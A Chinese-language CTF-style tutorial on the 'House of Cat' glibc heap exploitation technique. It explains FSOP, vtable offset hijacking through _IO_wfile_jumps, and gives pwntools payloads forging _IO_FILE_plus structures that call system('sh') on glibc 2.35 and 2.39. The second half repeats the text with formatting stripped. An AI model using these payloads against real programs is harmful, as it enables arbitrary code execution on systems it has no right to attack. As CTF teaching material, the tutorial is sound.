堆利用详解:house of cat(含 2.35 & 2.39 IO伪造过程分析)
字数 1834 2025-08-23 18:31:18

House of Cat: 新型glibc中IO利用手法详解

前言

House of Cat是一种基于glibc中IO文件流(File Stream)利用的高级堆利用技术,它继承了House of Emma的虚表偏移修改思想,通过精心构造IO结构体来绕过安全检测机制,最终实现任意代码执行。

技术原理

核心思想

House of Cat通过修改虚表指针的偏移,避免了需要绕过TLS上_pointer_chk_guard检测的IO函数调用,转而调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入_IO_switch_to_wget_mode函数来实现攻击。

关键点

  1. 虚表偏移修改:通过调整vtable指针的偏移,控制程序执行流
  2. IO结构伪造:精心构造IO_FILE_plus结构体,满足特定条件触发目标函数
  3. 调用链控制:利用FSOP(File Stream Oriented Programming)触发IO函数调用链

利用条件

  1. 能够任意写一个可控地址
  2. 能够泄露堆地址和libc地址
  3. 能够触发IO流FSOP,如:
    • 触发__malloc_assert
    • 程序中存在puts等能进入IO链的函数
    • 执行IO相关函数

环境准备

推荐使用malloc_testbed测试程序,这是一个标准的菜单题模板,包含以下功能:

  • malloc: 申请指定大小内存保存在数组里并返回索引
  • free: 释放指定索引的内存,存在double free
  • edit: 修改指定索引的内存内容,存在overflow和UAF漏洞

程序默认提供:

  • libc地址泄露
  • 栈地址泄露
  • 内存泄露

IO结构分析

_IO_FILE_plus结构

struct _IO_FILE_plus {
    FILE file;          // 0x00-0xd8
    const struct _IO_jump_t *vtable; // 0xd8
};

FILE结构体详细布局

struct _IO_FILE {
    int _flags;                 // 0x00
    char* _IO_read_ptr;         // 0x08
    char* _IO_read_end;         // 0x10
    char* _IO_read_base;        // 0x18
    char* _IO_write_base;       // 0x20
    char* _IO_write_ptr;        // 0x28
    char* _IO_write_end;        // 0x30
    char* _IO_buf_base;         // 0x38
    char* _IO_buf_end;          // 0x40
    char* _IO_save_base;        // 0x48
    char* _IO_backup_base;      // 0x50
    char* _IO_save_end;         // 0x58
    struct _IO_marker* _markers;// 0x60
    struct _IO_FILE* _chain;    // 0x68
    int _fileno;                // 0x70
    int _flags2;                // 0x74
    __off_t _old_offset;        // 0x78
    unsigned short _cur_column; // 0x80
    signed char _vtable_offset; // 0x82
    char _shortbuf[1];          // 0x83
    _IO_lock_t* _lock;          // 0x88
    __off64_t _offset;          // 0x90
    void* __pad1;               // 0x98 (struct _IO_codecvt* _codecvt)
    void* __pad2;               // 0xa0 (struct _IO_wide_data* _wide_data)
    void* __pad3;               // 0xa8 (struct _IO_FILE* _freeres_list)
    void* __pad4;               // 0xb0 (void* _freeres_buf)
    size_t __pad5;              // 0xb8
    int _mode;                  // 0xc0
    char _unused2[20];          // 0xc4
};

_IO_wide_data结构

struct _IO_wide_data {
    wchar_t* _IO_read_ptr;      // 0x00
    wchar_t* _IO_read_end;      // 0x08
    wchar_t* _IO_read_base;     // 0x10
    wchar_t* _IO_write_base;    // 0x18
    wchar_t* _IO_write_ptr;     // 0x20
    wchar_t* _IO_write_end;     // 0x28
    wchar_t* _IO_buf_base;      // 0x30
    wchar_t* _IO_buf_end;       // 0x38
    wchar_t* _IO_save_base;     // 0x40
    wchar_t* _IO_backup_base;   // 0x48
    wchar_t* _IO_save_end;      // 0x50
    __mbstate_t _IO_state;      // 0x58
    __mbstate_t _IO_last_state; // 0x60
    struct _IO_codecvt _codecvt; // 0x68
    wchar_t _shortbuf[1];       // 0xd8
    const struct _IO_jump_t* _wide_vtable; // 0xe0
};

调用链分析(glibc 2.35)

触发流程

  1. FSOP触发:通过劫持_IO_list_all指针触发IO调用
  2. 虚表劫持:伪造IO结构的虚表,使其指向_IO_wfile_jumps+0x30
    • 这样_IO_OVERFLOW调用(虚表偏移0x18)会实际调用_IO_wfile_seekoff(位于_IO_wfile_jumps+0x48)

关键函数调用链

  1. _IO_flush_all_lockp → 遍历_IO_list_all
  2. 满足条件时调用_IO_OVERFLOW(实际指向_IO_wfile_seekoff)
  3. _IO_wfile_seekoff_IO_switch_to_wget_mode
  4. _IO_switch_to_wget_mode → 通过_wide_vtable调用任意函数

条件检查

  1. 进入_IO_OVERFLOW的条件
    fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    
  2. 进入_IO_switch_to_wget_mode的条件
    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    

伪造结构构造(2.35)

io_payload = flat({
    0x00: b"sh\x00",               # _flags
    0x18: pack(0),                 # read_base
    0x20: pack(0),                 # write_base (_wide_data.write_base)
    0x28: pack(1),                 # write_ptr (_wide_data.write_ptr)
    0xa0: pack(new_fp + 8),        # _wide_data
    0xb8: pack(libc.sym.system),   # __pad5 (存储目标函数)
    0xc0: pack(0),                # mode
    0xd8: pack(new_vtable),        # vtable
    0xe8: pack(new_fp + 0xa0)      # _wide_vtable
}, filler=b"\x00")

glibc 2.39的差异与调整

主要问题

  1. 锁检查:2.39强制要求使用fp结构中的lock结构,需要指向一个可用地址
  2. 模式检查_IO_wfile_seekoff中第四个参数为0时会直接返回,需要调整

解决方案

  1. 添加有效的lock指针
  2. 修改第一个IO结构的0x20和0x28偏移处的值,确保不进入直接返回路径

伪造结构调整(2.39)

# 第一个IO结构(用于链接)
io_payload0 = flat({
    0x20: pack(2),
    0x68: pack(new_fp),           # _chain
    0x88: pack(heap),             # lock
    0xc0: p32(0xffffffff),
    0xd8: pack(normal_vtable)
}, filler=b"\x00")

# 主伪造结构
io_payload = flat({
    0x00: b"sh\x00",              # _flags
    0x18: pack(0),                # read_base
    0x20: pack(0),                # write_base (_wide_data.write_base)
    0x28: pack(1),                # write_ptr (_wide_data.write_ptr)
    0x88: pack(heap),             # lock
    0xa0: pack(new_fp + 8),       # _wide_data
    0xb8: pack(libc.sym.system),  # __pad5
    0xc0: pack(1),               # mode
    0xd8: pack(new_vtable),       # vtable
    0xe8: pack(new_fp + 0xa0)     # _wide_vtable
}, filler=b"\x00")

利用步骤总结

  1. 信息泄露:获取堆地址和libc地址
  2. 堆布局:通过堆漏洞(如UAF)控制关键内存区域
  3. IO结构伪造:按照上述结构构造伪造的IO_FILE_plus
  4. 触发FSOP:通过largebin attack等技术劫持_IO_list_all
  5. 触发调用链:通过exit或IO函数触发FSOP,执行目标函数

防御与绕过

现代glibc版本增加了对IO结构的各种检查,House of Cat通过以下方式绕过:

  1. 使用_IO_wfile_jumps而非_IO_file_jumps,避免_pointer_chk_guard检查
  2. 利用_wide_vtable不受保护的特点,构造任意函数调用
  3. 精心设置IO结构字段满足各种条件检查

结论

House of Cat是一种高级的IO利用技术,适用于glibc 2.35及以上版本。它通过精心构造IO结构和控制虚表指针,绕过了多种安全机制,实现了可靠的任意代码执行。理解这一技术需要深入掌握glibc的IO实现细节和虚表调用机制。

House of Cat: 新型glibc中IO利用手法详解 前言 House of Cat是一种基于glibc中IO文件流(File Stream)利用的高级堆利用技术,它继承了House of Emma的虚表偏移修改思想,通过精心构造IO结构体来绕过安全检测机制,最终实现任意代码执行。 技术原理 核心思想 House of Cat通过修改虚表指针的偏移,避免了需要绕过TLS上 _pointer_chk_guard 检测的IO函数调用,转而调用 _IO_wfile_jumps 中的 _IO_wfile_seekoff 函数,然后进入 _IO_switch_to_wget_mode 函数来实现攻击。 关键点 虚表偏移修改 :通过调整vtable指针的偏移,控制程序执行流 IO结构伪造 :精心构造IO_ FILE_ plus结构体,满足特定条件触发目标函数 调用链控制 :利用FSOP(File Stream Oriented Programming)触发IO函数调用链 利用条件 能够任意写一个可控地址 能够泄露堆地址和libc地址 能够触发IO流FSOP,如: 触发 __malloc_assert 程序中存在puts等能进入IO链的函数 执行IO相关函数 环境准备 推荐使用 malloc_testbed 测试程序,这是一个标准的菜单题模板,包含以下功能: malloc : 申请指定大小内存保存在数组里并返回索引 free : 释放指定索引的内存,存在double free edit : 修改指定索引的内存内容,存在overflow和UAF漏洞 程序默认提供: libc地址泄露 栈地址泄露 内存泄露 IO结构分析 _ IO_ FILE_ plus结构 FILE结构体详细布局 _ IO_ wide_ data结构 调用链分析(glibc 2.35) 触发流程 FSOP触发 :通过劫持 _IO_list_all 指针触发IO调用 虚表劫持 :伪造IO结构的虚表,使其指向 _IO_wfile_jumps+0x30 这样 _IO_OVERFLOW 调用(虚表偏移0x18)会实际调用 _IO_wfile_seekoff (位于 _IO_wfile_jumps+0x48 ) 关键函数调用链 _IO_flush_all_lockp → 遍历 _IO_list_all 满足条件时调用 _IO_OVERFLOW (实际指向 _IO_wfile_seekoff ) _IO_wfile_seekoff → _IO_switch_to_wget_mode _IO_switch_to_wget_mode → 通过 _wide_vtable 调用任意函数 条件检查 进入_ IO_ OVERFLOW的条件 : 进入_ IO_ switch_ to_ wget_ mode的条件 : 伪造结构构造(2.35) glibc 2.39的差异与调整 主要问题 锁检查 :2.39强制要求使用fp结构中的lock结构,需要指向一个可用地址 模式检查 : _IO_wfile_seekoff 中第四个参数为0时会直接返回,需要调整 解决方案 添加有效的lock指针 修改第一个IO结构的0x20和0x28偏移处的值,确保不进入直接返回路径 伪造结构调整(2.39) 利用步骤总结 信息泄露 :获取堆地址和libc地址 堆布局 :通过堆漏洞(如UAF)控制关键内存区域 IO结构伪造 :按照上述结构构造伪造的IO_ FILE_ plus 触发FSOP :通过largebin attack等技术劫持 _IO_list_all 触发调用链 :通过exit或IO函数触发FSOP,执行目标函数 防御与绕过 现代glibc版本增加了对IO结构的各种检查,House of Cat通过以下方式绕过: 使用 _IO_wfile_jumps 而非 _IO_file_jumps ,避免 _pointer_chk_guard 检查 利用 _wide_vtable 不受保护的特点,构造任意函数调用 精心设置IO结构字段满足各种条件检查 结论 House of Cat是一种高级的IO利用技术,适用于glibc 2.35及以上版本。它通过精心构造IO结构和控制虚表指针,绕过了多种安全机制,实现了可靠的任意代码执行。理解这一技术需要深入掌握glibc的IO实现细节和虚表调用机制。